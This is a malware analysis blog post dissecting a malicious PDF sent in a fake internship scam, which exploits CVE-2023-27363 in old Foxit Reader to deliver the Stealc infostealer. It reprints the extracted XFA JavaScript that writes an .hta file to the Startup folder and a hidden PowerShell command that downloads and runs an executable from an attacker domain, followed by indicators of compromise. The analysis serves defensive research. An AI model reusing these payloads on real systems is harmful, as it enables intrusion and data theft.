Malware research
  • Hello đź‘‹
  • March 2023
    • PureLand - A Fake Project Related to the Sandbox malspam
  • JULY 2023
    • Fake Blockchain Games Deliver RedLine Stealer & Realst Stealer - A New macOS Infostealer Malware
  • FEBRUARY 2024
    • Outfoxing a Malicious PDF: An attacker's attempt to deliver a Stealc infostealer
Powered by GitBook
On this page
  • Intro
  • The PDF (dropper)
  • The executable file (2nd stage)
  • CVE what?
  • IOCs
  1. FEBRUARY 2024

Outfoxing a Malicious PDF: An attacker's attempt to deliver a Stealc infostealer

PreviousFake Blockchain Games Deliver RedLine Stealer & Realst Stealer - A New macOS Infostealer Malware

Last updated 1 year ago

Intro

While scrolling through the X/Twitter feed, I noticed an interesting thread created by furryneko ().

The reason I was talking with him is that we share mutual followers whom I know and respect.

After a while, oscarxferral was offered a two-week paid internship.

$1500/week, 2-3 hours working, LMAO

Everything sounded too good to be true, which raised a red flag

The conversation continued in Discord, and oscarxferral was given a PDF file that "contains" the non-disclosure agreement.

Interestingly, "pabloNFT" emphasized using an old Foxit PDF Reader, specifically versions 12.0.2 or 12.1.0, since "their seals will not be displayed on the most recent version."

With all those red flags, oscarxferral uploaded the PDF file in Virustotal to do a final check.

The PDF (dropper)

I was curious about the kind of malware the PDF file delivers, so I examined the sample further.

3779f1b904ee4cf41f4a266505490682559d09337deb30a2cc08793c2e69385c  Agreement_eSign.pdf

Let's check with peepdf

Object 8 has a JavaScript code. Let's take a look at it.

Since it has a filter, I decided to pass the stream object through a filter, FlateDecode, via -f and view the raw output via -w

Here's the prettified content

<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
    <subform name="form1" locale="en_US" layout="tb">
        <pageSet>
            <pageArea name="Page1">
                <contentArea x="0pt" y="0pt" w="595pt" h="842pt" />
                <medium short="595pt" long="842pt" />
            </pageArea>
        </pageSet>
        <subform name="subform1" layout="tb" w="595pt">
            <event activity="docReady" ref="$host" name="event__docReady">
                <script contentType="application/x-javascript">
                    timeout = app.setTimeOut("event.target.exportXFAData({cPath: \"/c/users/\" + identity.loginName + \"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/officeupdate.hta\"});", 500);
                </script>
            </event>
            <margin />
        </subform>
    </subform>
</template>

We can infer that once the document is fully loaded (ready), then it executes the JavaScript payload to trigger event.target.exportXFAData after a delay of 0.5 seconds.

The exportXFAData is intended to export form data to a specified path. In this case, it is used maliciously to target the startup folder, C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\officeupdate.hta, to ensure persistence. The .hta file will be executed whenever the target signs in after logging out or after restarting/shutting down the computer.

I decided to extract further data in case I missed anything, using pdfextract...

Interesting, there are two scripts...

So, it was able to extract the JavaScript payload from earlier and another one, which will retrieve an executable file via Powershell.

Where is this located? I checked each stream and found it on stream/object 7.

Here's the prettified version:

<config xmlns="http://www.xfa.org/schema/xci/1.0/">
    <present>
        <pdf>
        <fontInfo>
            <embed>1</embed>
        </fontInfo>
        <version>1.65</version>
        <creator>Syncfusion</creator>
        <producer>Syncfusion</producer>
        <scriptModel>XFA</scriptModel>
        <interactive>1</interactive>
        <tagged>1</tagged>
        <encryption>
            <permissions>
                <accessibleContent>1</accessibleContent>
                <contentCopy>1</contentCopy>
                <documentAssembly>1</documentAssembly>
                <formFieldFilling>1</formFieldFilling>
                <modifyAnnots>1</modifyAnnots>
                <print>1</print>
                <printHighQuality>1</printHighQuality>
                <change>1</change>
                <plaintextMetadata>1</plaintextMetadata>
            </permissions>
        </encryption>
        <compression>
            <level>6</level>
            <compressLogicalStructure>1</compressLogicalStructure>
        </compression>
        <linearized>1</linearized>
        <script language="jscript">
            var c = 'powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri \\"https://brazilanimalshelp[.]com/updating/stale.exe\\" -OutFile \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\"; Start-Process -FilePath \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\""'; new ActiveXObject('WScript.Shell').Run(c);
        </script>
        </pdf>
    </present>
    <acrobat>
        <acrobat7>
        <dynamicRender>required</dynamicRender>
        </acrobat7>
    </acrobat>
</config>

This is the document's XFA configuration, which will be included in the export from earlier.

It uses JScript to execute a Powershell command to retrieve stale.exe from brazilanimalshelp[.]com , saves it to the startup folder as SecurityUpdate.exe, then executes the 2nd stage via Start-Process. It may look like persisting...though not really, which will be explained later.

Now we have the important payloads, let's try to open it with the desired Foxit PDF Reader versions of the malicious actor, namely:

  • 12.0.2.12465

  • 12.1.0.15250

During the installation, there's a Safe Reading Mode Setting, this is ticked by default, and I left it as it is just to see whether it would really work.

Now, let's open the PDF file...

It doesn't display anything other than executing the malicious script in the background.

It immediately creates the officeupdate.hta file in the startup folder, which renders the Safe Reading Mode useless.

This will likely be used as an excuse by the malicious actor to tell oscarxferral to restart/shut down the computer or log out for the "right" content to display, which will lead to the .hta file being executed due to its presence in the startup folder.

Here's the prettified content of the .hta file.

<?xml version="1.0" encoding="UTF-8"?>
<?xfa generator="XFA2_4" APIVersion="3.6.14289.0"?>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
	<xfa:data>
		<form1>
			<subform1/>
			<subform1 xfa:dataNode="dataGroup"/>
		</form1>
	</xfa:data>
</xfa:datasets>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
	<config xmlns="http://www.xfa.org/schema/xci/1.0/">
		<present>
			<pdf>
				<fontInfo>
					<embed>1</embed>
				</fontInfo>
				<version>1.65</version>
				<creator>Syncfusion</creator>
				<producer>Syncfusion</producer>
				<scriptModel>XFA</scriptModel>
				<interactive>1</interactive>
				<tagged>1</tagged>
				<encryption>
					<permissions>
						<accessibleContent>1</accessibleContent>
						<contentCopy>1</contentCopy>
						<documentAssembly>1</documentAssembly>
						<formFieldFilling>1</formFieldFilling>
						<modifyAnnots>1</modifyAnnots>
						<print>1</print>
						<printHighQuality>1</printHighQuality>
						<change>1</change>
						<plaintextMetadata>1</plaintextMetadata>
					</permissions>
				</encryption>
				<compression>
					<level>6</level>
					<compressLogicalStructure>1</compressLogicalStructure>
				</compression>
				<linearized>1</linearized>
				<script language="jscript">
					var c = 'powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri \\"https://brazilanimalshelp.com/updating/stale.exe\\" -OutFile \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\"; Start-Process -FilePath \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\""'; new ActiveXObject('WScript.Shell').Run(c);
				</script>
			</pdf>
		</present>
		<acrobat>
			<acrobat7>
				<dynamicRender>required</dynamicRender>
			</acrobat7>
		</acrobat>
	</config>
	<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
		<subform name="form1" locale="en_US" layout="tb">
			<pageSet>
				<pageArea name="Page1">
					<contentArea x="0pt" y="0pt" w="595pt" h="842pt"/>
					<medium short="595pt" long="842pt"/>
				</pageArea>
			</pageSet>
			<subform name="subform1" layout="tb" w="595pt">
				<event activity="docReady" ref="$host" name="event__docReady">
					<script contentType="application/x-javascript">
						timeout = app.setTimeOut("event.target.exportXFAData({cPath: \"/c/users/\" + identity.loginName + \"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/officeupdate.hta\"});", 500);
					</script>
				</event>
				<margin/>
			</subform>
		</subform>
	</template>
	<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
		<xfa:data>
			<form1>
				<subform1/>
				<subform1 xfa:dataNode="dataGroup"/>
			</form1>
		</xfa:data>
	</xfa:datasets>
	<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
		<subform name="form1">
			<pageSet>
				<pageArea name="Page1"/>
			</pageSet>
		</subform>
	</form>
</xdp:xdp>
<pdf xmlns="http://ns.adobe.com/xdp/pdf/">
	<document>
		<chunk>
			JVBERi0xLjUNJcjIy-snip-CmVuZHN0cmVhbQ0KZW5kb2JqCnN0YXJ0eHJlZgo4NjM4NwolJUVPRg==
		</chunk>
	</document>
</pdf>
<xfdf xmlns = "http://ns.adobe.com/xfdf/" xml:space = "preserve">
	<annots/>
</xfdf>
</xdp:xdp>

The chunk's contents are simply a base64 encoded text of the whole PDF file.

When the PDF file is opened using a different reader, say using Firefox, it won't execute the malicious script and will only show different content.

Restarted the computer to see the persistence in action. After logging in, a Powershell window shows up for a bit and this error is displayed.

Although it says an error has occurred, it will still execute the script without issues.

The executable file (2nd stage)

85735229bd3b6ae1d0c60d43f3e24a2be5f0d21d87b7f2c01f13373c051c82a5  stale.exe

Let's take a look at it using Detect It Easy (DIE).

This was compiled using VB.NET, unsigned, and the original filename is guide_to_the_clubs_and_bars_of_the_city.exe

I tried to check using dnSpy...

...but it's obfuscated. I didn't notice anything important using floss either.

Decided to do a dynamic analysis instead.

An MSBuild.exe child process was spawned after a few minutes and stale.exe terminated itself. MSBuild can be seen doing a network request to 194.120.116[.]120

Created a full dump using process explorer and extracted the strings...

Interestingly, the behavior seems to be infostealer-like. The value of the file is a base64 encoded data of the target's machine, most likely for fingerprinting.

Remember earlier that this executable file is stored in the startup folder? Well, it won't persist. Sekoia determined that it self-deletes.

This can be seen in the dump as well.

CVE what?

I wondered if a CVE exists for a vulnerability targeting Foxit PDF Reader 12.0.2.12465 and 12.1.0.15250...

Addressed a potential issue where the application could be exposed to Remote Code Execution vulnerability when handling certain JavaScripts. This occurs as the application fails to validate the cPath parameter in the exportXFAData method and is thus forced to write to the Startup folder with an .hta file that can execute arbitrary code after a restart. (CVE-2023-27363)

IOCs

3779f1b904ee4cf41f4a266505490682559d09337deb30a2cc08793c2e69385c  Agreement_eSign.pdf
84626884775edba43d27869acfe98ce6e7bf687bc1d71fa4a4383d69cfe9d0b6  officeupdate.hta
85735229bd3b6ae1d0c60d43f3e24a2be5f0d21d87b7f2c01f13373c051c82a5  stale.exe (retrieved February 1, 2024)
a9a4d321d6ccfe6ba9e0f870fb1bf590535c6e10a091805020930dce46e116b7  stale.exe (retrieved February 4, 2024)

brazilanimalshelp[.]com
https://brazilanimalshelp[.]com/updating/stale.exe

194.120.116[.]120
http://194.120.116[.]120/
http://194.120.116[.]120/7a957ef6cc168ff6.php
http://194.120.116[.]120/7321241ee905bfa9/sqlite3.dll
http://194.120.116[.]120/7321241ee905bfa9/freebl3.dll
http://194.120.116[.]120/7321241ee905bfa9/mozglue.dll
http://194.120.116[.]120/7321241ee905bfa9/msvcp140.dll
http://194.120.116[.]120/7321241ee905bfa9/nss3.dll
http://194.120.116[.]120/7321241ee905bfa9/softokn3.dll
http://194.120.116[.]120/7321241ee905bfa9/vcruntime140.dll

oscarxferral was approached by 1pablo_eth1 (now renamed to [462678410]) to briefly chat about Web3 in general.

oscarxferral did due diligence and confirmed that "Pablo" is not a CM of .

We can download and install the old versions from the official source:

Those indicators lead us to Stealc infostealer. Sekoia created a well-detailed research here:

Searching for exportXFAData at lead to CVE-2023-27363.

Advisory:

That's it! There's a public PoC as well at

Fujimurauyshi
0xSunflowerLand
https://kb.foxit.com/hc/en-us/articles/360058026412-Can-I-download-an-older-version-of-Foxit-Reader
https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/
https://www.foxit.com/support/security-bulletins.html
https://www.zerodayinitiative.com/advisories/ZDI-23-491/
https://github.com/j00sean/SecBugs/tree/main/CVEs/CVE-2023-27363
oscarxferral
Page cover image
https://twitter.com/oscarxferral/status/1752765234459378026/photo/1
https://twitter.com/oscarxferral/status/1752765236862714156/photo/1
https://twitter.com/oscarxferral/status/1752765241140871358/photo/1
https://twitter.com/oscarxferral/status/1752765241140871358/photo/2
https://twitter.com/oscarxferral/status/1752765249126826059/photo/1
https://twitter.com/oscarxferral/status/1752765251681190061/photo/1